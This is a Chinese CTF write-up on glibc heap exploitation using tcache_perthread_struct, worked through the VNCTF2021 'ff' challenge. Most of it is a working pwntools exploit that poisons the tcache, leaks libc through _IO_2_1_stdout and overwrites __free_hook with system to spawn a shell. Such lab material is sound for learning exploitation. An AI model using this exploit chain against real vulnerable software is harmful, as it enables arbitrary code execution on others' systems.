tcache_perthread_struct
[TOC] tcache_perthread_struct可以free掉,在libc2.30以下的版本tcache_perthread_struct大小为0x250;在libc2.30及以上大小变成了0x290(因为counts的类型从char变成了uint16_t) 可以在tcache_perthread_struct上进行堆布局实现一些目的
- 修改counts 之前写过一个题只让申请两个堆块,但是我们想要填满tcache来泄露libcbase,这时候可以先泄露heapbase得到tcache_perthread_struct的位置,修改tcache_perthread_struct中的counts域达到填满tcache的效果
- 直接在tcache_perthread_struct里面进行堆布局 tcache_perthread_struct可以被free
VNCTF2021 ff
- 此题只可show一次,edit两次,因为这唯一一次show显然是泄露heapbase,泄露libcbase就需要通过打stdout来进行
- show,del,show只可对最近add的堆块进行,这是很大一个难点
- 通过edit让申请到的tcache_perthread_struct使0x290的tcache变满,再free掉tcache_perthread_struct,那么tcache_perthread_struct就进入了unsorted bin,这时候再分配chunk,就会切割tcache_perthread_struct然后向tcache_perthread_struct写入main_arena附近的位置,为了保持unsorted bin不断,相应的fd,bk都写入了unsortedbin所在的位置,再进行partial overwrite就造出了_IO_2_1_stdout
- 通过编辑tcache_entry *entries[TCACHE_MAX_BINS]里面内容,相当于给tcache添加了某些chunk,但是要注意取chunk时tcache的counts要大于1
- 错误分析
- 第一处申请tcache_perthread_struct结构时最初想这样构造,这里的错误是再add(0x70,b)会从tcache里面取chunk,修改后0x80 tcache:chunk->tcache_perthread_struct,但是此时0x80的counts为1,申请不出来tcache_perthread_struct
add(0x70,'a')
delete()
show()
heap_base=u64(p.recv(6).ljust(8,b'\x00'))<<12
print('heapbase:',hex(heap_base))
#覆盖key进行double free
add(0x70,'b')
delete()
#tcache poison得到tcache_perthread_struct结构的counts
edit(p64(((heap_base+0x2a0)>>12)^(heap_base+0x10)))
add(0x70,'a')
#chunk大小为0x290的tcache被填满
add(0x70, b'\x00\x00' * 0x27 + b'\x07\x00')
from pwn import *
from pwnlib.util.packing import p64
from pwnlib.util.packing import u64
context(os='linux', arch='amd64', log_level='debug')
file = "/home/zp9080/PWN/ff"
libc=ELF("/home/zp9080/PWN/libc-2.32.so")
elf=ELF(file)
global p
def dbg():
gdb.attach(p,'b *$rebase(0xE5E)')
def add(size,content):
p.sendlineafter(">>",str(1))
p.sendlineafter("Size:\n",str(size))
p.sendafter("Content:\n",content)
def delete():
p.sendlineafter(">>",str(2))
def show():
p.sendlineafter(">>",str(3))
def edit(content):
p.sendlineafter(">>",str(5))
p.sendafter("Content:\n",content)
def exp():
add(0x70,'a')
delete()
show()
heap_base=u64(p.recv(6).ljust(8,b'\x00'))<<12
print('heapbase:',hex(heap_base))
#覆盖key进行double free
edit('b'*0x10)
delete()
#tcache poison得到tcache_perthread_struct结构的counts
edit(p64(((heap_base+0x2a0)>>12)^(heap_base+0x10)))
add(0x70,'a')
#chunk大小为0x290的tcache被填满
add(0x70, b'\x00\x00' * 0x27 + b'\x07\x00')
#tcache_perthread_struct结构进入unsorted bin
delete()
#chunk大小为0x50,0x80的tcache为1
add(0x40,'\x00\x00'*3+'\x01\x00'*1+'\x00\x00'*2+'\x01\x00')
add(0x30,b'\x00'*0x30)
#add后0x50 tcache:IO_2_1_stdout
add(0x10,'\x00'*8+'\xc0\x16')
#申请IO_2_1_stdout,这个是从tcache里面取的,unsorted bin没动
add(0x40,p64(0xfbad1887)+p64(0)*3+b'\x00')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x1e4744
print('libcbase',hex(libc_base))
#add后0x80 tcache:__free_hook
add(0x10,p64(libc_base+libc.symbols['__free_hook']))
#申请__free_hook,这个是从tcache里面取的,unsorted bin没动
add(0x70,p64(libc_base+libc.symbols['system']))
add(0x10,'/bin/sh\x00')
delete()
p.interactive()
while True:
try:
p=process(file)
exp()
break
except:
p.close()
continue